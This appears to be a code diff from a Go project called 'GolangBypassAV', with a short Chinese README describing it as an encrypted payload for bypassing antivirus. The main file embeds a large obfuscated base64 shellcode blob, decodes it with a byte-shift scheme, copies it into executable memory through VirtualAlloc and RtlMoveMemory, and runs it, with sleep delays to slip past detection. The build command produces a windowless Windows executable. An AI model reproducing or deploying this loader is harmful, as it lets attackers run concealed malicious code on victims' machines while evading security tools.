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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1 +1,49 @@ | ||
| package encry | ||
|
|
||
| import ( | ||
| "encoding/hex" | ||
| "fmt" | ||
| "io/ioutil" | ||
| "strconv" | ||
| "strings" | ||
| ) | ||
|
|
||
| func Convert(data string) []byte { | ||
| shellcodeHex, _ := hex.DecodeString(strings.ReplaceAll(strings.ReplaceAll(data, "\n", ""), "\\x", "")) | ||
| return shellcodeHex | ||
| } | ||
|
|
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| func Parse(data string) string { | ||
| var result string | ||
|
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| isArr := strings.Contains(data, ",") | ||
| if isArr { | ||
| context := strings.Split(data, ",") | ||
| size := len(context) | ||
| dataArr := make([]byte, size) | ||
| for i, v := range context { | ||
| val, _ := strconv.Atoi(v) | ||
| dataArr[i] = byte(val) | ||
| } | ||
|
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| result = hex.EncodeToString([]byte(dataArr)) | ||
| fmt.Println(result) | ||
| } else { | ||
| val, _ := strconv.Atoi(data) | ||
| data := make([]byte, 1) | ||
| data[0] = byte(val) | ||
| result = hex.EncodeToString([]byte(data)) | ||
| fmt.Println(result) | ||
| } | ||
|
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| return result | ||
| } | ||
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| func ReadFile(data string) []byte { | ||
| b, err := ioutil.ReadFile(data) // just pass the file name | ||
| if err != nil { | ||
| fmt.Print(err) | ||
| } | ||
| return b | ||
|
|
||
| } |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,11 @@ | ||
| 加密payload进行bypass,未做反沙箱。 | ||
| 效果一般。 | ||
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|  | ||
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| ```bash | ||
| go build -ldflags="-s -w -H=windowsgui" -o main2.exe | ||
| ``` | ||
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||
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|
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,124 @@ | ||
| package main | ||
|
|
||
| import ( | ||
| "GolangBypassAV/encry" | ||
| "encoding/base64" | ||
| "fmt" | ||
| "os" | ||
| "syscall" | ||
| "time" | ||
| "unsafe" | ||
| ) | ||
|
|
||
| const ( | ||
| MEM_COMMIT = 0x1000 | ||
| MEM_RESERVE = 0x2000 | ||
| PAGE_EXECUTE_READWRITE = 0x40 | ||
| ) | ||
|
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| var kk = []byte{0x11} | ||
|
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| func base64Decode(data string) []byte { | ||
| data1, _ := base64.StdEncoding.DecodeString(data) | ||
| return data1 | ||
| } | ||
|
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| func base64Encode(data []byte) string { | ||
| bdata := base64.StdEncoding.EncodeToString(data) | ||
| return bdata | ||
| } | ||
|
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| func getEnCode(data []byte) string { | ||
| bdata := base64.StdEncoding.EncodeToString(data) | ||
|
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| bydata := []byte(bdata) | ||
| var shellcode []byte | ||
|
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| for i := 0; i < len(bydata); i++ { | ||
| shellcode = append(shellcode, bydata[i]+kk[0]) | ||
| } | ||
| return base64.StdEncoding.EncodeToString(shellcode) | ||
| } | ||
|
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| var ( | ||
| kernel32 = syscall.MustLoadDLL("kernel32.dll") | ||
| ntdll = syscall.MustLoadDLL("ntdll.dll") | ||
| VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") | ||
| RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory") | ||
| ) | ||
|
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| func getDeCode(string2 string) []byte { | ||
|
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| ss, _ := base64.StdEncoding.DecodeString(string2) | ||
| string2 = string(ss) | ||
| var shellcode []byte | ||
|
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| bydata := []byte(string2) | ||
|
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| for i := 0; i < len(bydata); i++ { | ||
| shellcode = append(shellcode, bydata[i]-kk[0]) | ||
| } | ||
| ssb, _ := base64.StdEncoding.DecodeString(string(shellcode)) | ||
| return ssb | ||
|
|
||
| } | ||
|
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| func checkError(err error) { | ||
| if err != nil { | ||
| if err.Error() != "The operation completed successfully." { | ||
| println(err.Error()) | ||
| os.Exit(1) | ||
| } | ||
| } | ||
| } | ||
|
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| func genEXE(charcode []byte) { | ||
|
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| addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) | ||
| if addr == 0 { | ||
| checkError(err) | ||
| } | ||
| gd() | ||
|
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| _, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode))) | ||
| checkError(err) | ||
|
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| gd() | ||
| for j := 0; j < len(charcode); j++ { | ||
| charcode[j] = 0 | ||
| } | ||
| syscall.Syscall(addr, 0, 0, 0, 0) | ||
| } | ||
|
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| func gd() int64 { | ||
| time.Sleep(time.Duration(2) * time.Second) | ||
|
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| dd := time.Now().UTC().UnixNano() | ||
| return dd + 123456 | ||
|
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| } | ||
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| func getFileShellCode(file string) []byte { | ||
| data := encry.ReadFile(file) | ||
| //shellCodeHex := encry.GetBase64Data(data) | ||
| //fmt.Print(shellCodeHex) | ||
| return data | ||
| } | ||
|
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| func getFileShellCode1(file string) string { | ||
| data := encry.ReadFile(file) | ||
| shellCodeHex := base64Encode(data) | ||
| fmt.Print(shellCodeHex) | ||
| return shellCodeHex | ||
| } | ||
|
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| func main() { | ||
| //fmt.Println(1) | ||
|
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| //fmt.Print(getEnCode(getFileShellCode("C:\\Users\\Administrator\\Desktop\\payload.bin"))) | ||
|
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| bbdata := "QFZ6VUZhVYCKUlJSUlZXY2JnU2RmZ2taXnVbfWRahWRqVnpdZnl5WnpCWnhkWoWKZlZ4YYVBgVxlZVlbZFVZUoNViXl3UlqEWlZZU4piQlNSdFl6SGdbU2Zmel1melRdYnuJWlJ1U354aXhqVIhbQnSAhlJ6UlJSUlZ6V4hZY39kUlliZlqFWlhWZF1iVFNbUnVVe2d8e0CKZlhdX1p5WlJ1a19edH1aXnRUhGJ0WVtVZlZTiGV7eHV3V15SQYh8VFZmRkFpaWpoVmRdYlRjW1J1U35iaoReZFZkXWJTiVtSdVNTeohkWmRSWWJiZ3lTaFdGa2h8V2piZ31TaHx6VUhUU1Nmh0B4aFZXa2h8el1Whn1hQEBAQGlogFJkc0ZEcmhGgXN+Z0FSVldoZGp/fmVaf4lic4FedYpqWUBKZ1pedH1aXnVbX150U19edH1TZlZXYmJzgEdnf35/QEppg3RCgVp6dFdThlRSVVJSU19edH1TZmZXY3J4X1NmZlhHZ0V+d4mHQGdHQn1zZFp/U2RVWWRkan9qZWVZW2Z+eFJSfFRWZn1bU4aGhWdde4dAQmZ6W4l8elWIQlOCVH1KWnp3V1p6dYFbiUlVQEBAQEBlZVlbZn1bU4Z6QVhYWYdAQmppUlVFaHVSYlJSZGFAYVVFZF5SYlJSR0phgUZSVlJSYHp6QEBAQF1EfUdfi15SfGtoZ3VVdWZScnpKgHJlW1eBRlOFhkaAalZfhmJzc0J5gF14a4p+QHmDemZFd0d8X0mFfWmIi31HcoJYf3mIamSIYIODX15GQGKGYXN4Z1dkf4tHSIZiRIl6ZWpJhINbdlJTZ3RDZ4pdZld/a2hGQWB6U19zRIGBc1iJeV2LZoZeVFKAakNKhXRYV0FyaFuEa2WEeGVnX1tjZFJGXXtSSFpZV3xraV+DWlVahl9URYlee2qLXXtaiF6LhHhnQ32Ga1hKRHSKU2BnVFJDXXtWSFpXdWFni2pBYIpTZnR+fXxraEZBXYtmhl5UfF9UeFJpaX9Dh0JIc2dUSF92il9ci19nQ4lFa0p+g3t6f0iKiWRkfmlnQ35ad3J6UouFglNog3VaXHRagEpaYEpBf4hpfXuLYXR7RXpKZlVqZmJTa2JKSEBZaEB+WXuJholGaEZkRohUZIFCRFViSGWIY354c1aIRVNSiFlIRWN5YXiHfHJDRYE8doRgflxXRX5KSnVnSUqFW3pZeHqEVmlaWkNBRH6Gi4ZeY4hWaH2Ee1hdYWB6X0VBfmBbd1l7Q3xkh1pHWkFKaIBHYmZ3RFV2dEZnWGGJe1lIfkOHc1Z0Z0dzQXeAg4BJVFyKdWSJWkhocoVIWn1lWGeJgXp2gUaDW35nX1mDRXVFi1pSYnNIiIVyW2hASmdaXnR+R1JSU1JSVlhFUlNSUlJWWEZiUlJSUlZYR2hcY2VGd0BnZFtfZWZBeltGQXpbSWZ6W0N8WEVSVFJSUlZ+WzxmWEdWgXJbRYdAZ2RaYVZaWmlSdV1rfnqIdVpSdGBXiFlpaWhXeWpkUmZSUlJSUmZeYYB/QERAQItWil56RUZde1ZCX4pFiV57WlJWe2NodlJOTg==" | ||
| shellCodeHex := getDeCode(bbdata) | ||
| gd() | ||
| genEXE(shellCodeHex) | ||
| } |